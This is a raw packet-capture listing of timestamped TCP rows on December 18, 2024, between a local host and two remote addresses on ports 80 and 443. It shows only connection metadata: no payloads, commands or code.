Dec 18, 2024 21:30:27.643419981 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.643455029 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.643533945 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.643569946 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.644484043 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.644527912 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.644782066 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.644840002 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.645474911 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.645510912 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.645661116 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.645695925 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.646758080 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.646805048 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.647044897 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.647083998 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.647614956 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.647650003 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.647803068 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.647835970 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.648633003 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.648667097 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.648801088 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.648834944 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.649852991 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.649890900 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.650084019 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.650116920 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.650763988 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.650799990 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.650939941 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.650995016 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.652100086 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.652127028 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.652138948 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.652158022 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.652985096 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.653018951 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.653089046 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.653119087 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.654139996 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.654176950 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.654252052 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.654342890 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.655128956 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.655170918 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.655488968 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.655524015 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.656120062 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.656157017 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.656250954 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.656284094 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.657013893 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.657047987 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.657092094 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.657123089 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.657159090 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.657159090 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.657517910 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.657536983 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.657555103 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.657578945 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.658262968 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.658302069 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.658490896 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.658524990 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.659333944 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.659369946 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.659399986 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.659431934 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.660351038 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.660387039 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.660650969 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.660715103 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.661335945 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.661370993 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.661530972 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.661567926 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.662518024 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.662564993 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.663120031 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.663155079 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.663551092 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.663585901 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.663746119 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.663780928 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.664637089 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.664671898 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.664928913 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.664963961 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.666275978 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.666290998 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.666310072 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.666326046 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.667054892 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.667092085 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.667221069 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.667254925 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.668571949 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.668587923 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.668607950 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.668627024 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.669135094 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.669167042 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.669327021 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.669361115 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.670118093 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.670150995 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.670259953 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.670293093 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.670989037 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.671051979 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.671396017 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.671430111 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.672166109 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.672207117 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.672401905 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.672437906 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.673330069 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.673362970 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.673805952 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.673851013 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.674268961 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.674303055 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.674556971 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.674590111 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.675240040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.675273895 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.675380945 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.675410986 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.675862074 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.675898075 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.675925970 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.675945997 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.675964117 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.675983906 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.676296949 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.676331997 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.676556110 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.676589012 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.677259922 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.677294016 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.677418947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.677448988 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.678482056 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.678519964 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.678842068 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.678878069 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.679438114 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.679472923 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.679740906 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.679773092 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.680514097 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.680548906 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.680653095 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.680685043 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.681493998 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.681529999 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.681785107 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.681818962 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.682543993 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.682593107 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.682696104 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.682729959 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.683633089 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.683666945 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.683736086 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.683768034 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.684752941 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.684784889 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.684850931 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.684883118 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.685796022 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.685831070 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.685951948 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.685983896 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.686762094 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.686801910 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.686901093 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.686933041 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.687891006 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.687935114 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.688230038 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.688263893 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.688930035 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.688963890 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.689039946 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.689069986 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.689910889 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.689950943 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.696265936 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.712332964 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.712371111 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.712416887 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.712450027 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.712471962 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.712502956 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.724565029 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.724603891 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.724644899 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.724678040 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.724699974 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.724716902 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.738739967 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.738776922 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.738811970 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.738847971 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.738872051 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.738886118 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.752533913 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.752568960 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.752614975 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.752639055 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.752662897 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.752676010 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.763979912 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.764048100 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.764090061 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.764123917 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.764148951 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.764169931 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.794872999 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.794904947 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.794956923 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.794995070 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.795012951 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.795036077 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.804780006 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.804817915 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.804872036 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.804905891 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.804929018 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.804946899 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.815146923 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.815181971 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.815237999 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.815283060 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:27.815308094 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.815335989 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:27.826704025 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.826771975 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.826828957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.826992035 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.827255964 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.827292919 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.827436924 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.827469110 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.828408957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.828448057 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.828553915 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.828589916 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.829365969 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.829401970 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.829468966 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.829503059 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.830282927 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.830328941 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.830468893 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.830502987 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.831377029 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.831422091 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.831533909 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.831576109 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.832391977 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.832439899 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.832582951 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.832623005 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.833532095 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.833579063 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.833664894 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.833698034 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.834655046 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.834705114 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.834804058 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.834836960 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.835612059 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.835676908 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.835738897 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.835772991 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.836647987 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.836685896 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.836760044 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.836791992 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.837729931 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.837913990 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.837944984 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.837956905 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.838803053 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.838840008 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.838917971 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.838952065 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.839780092 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.839828968 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.839967012 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.840009928 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.840905905 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.840949059 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.841018915 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.841053963 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.841923952 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.841968060 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.842219114 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.842259884 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.842971087 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.843008041 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.843136072 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.843174934 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.844041109 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.844094992 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.844196081 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.844235897 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.845105886 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.845153093 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.845282078 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.845315933 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.846137047 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.846218109 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.846298933 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.846416950 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.847203970 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.847242117 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.847435951 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.847474098 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.848282099 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.848329067 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.848428965 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.848467112 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.849364996 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.849412918 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.849479914 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.849515915 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.850531101 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.850573063 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.850641966 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.850673914 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.851453066 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.851488113 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.851644039 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:27.851676941 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:27.852580070 CET	80	49808	31.41.244.11	192.168.2.5
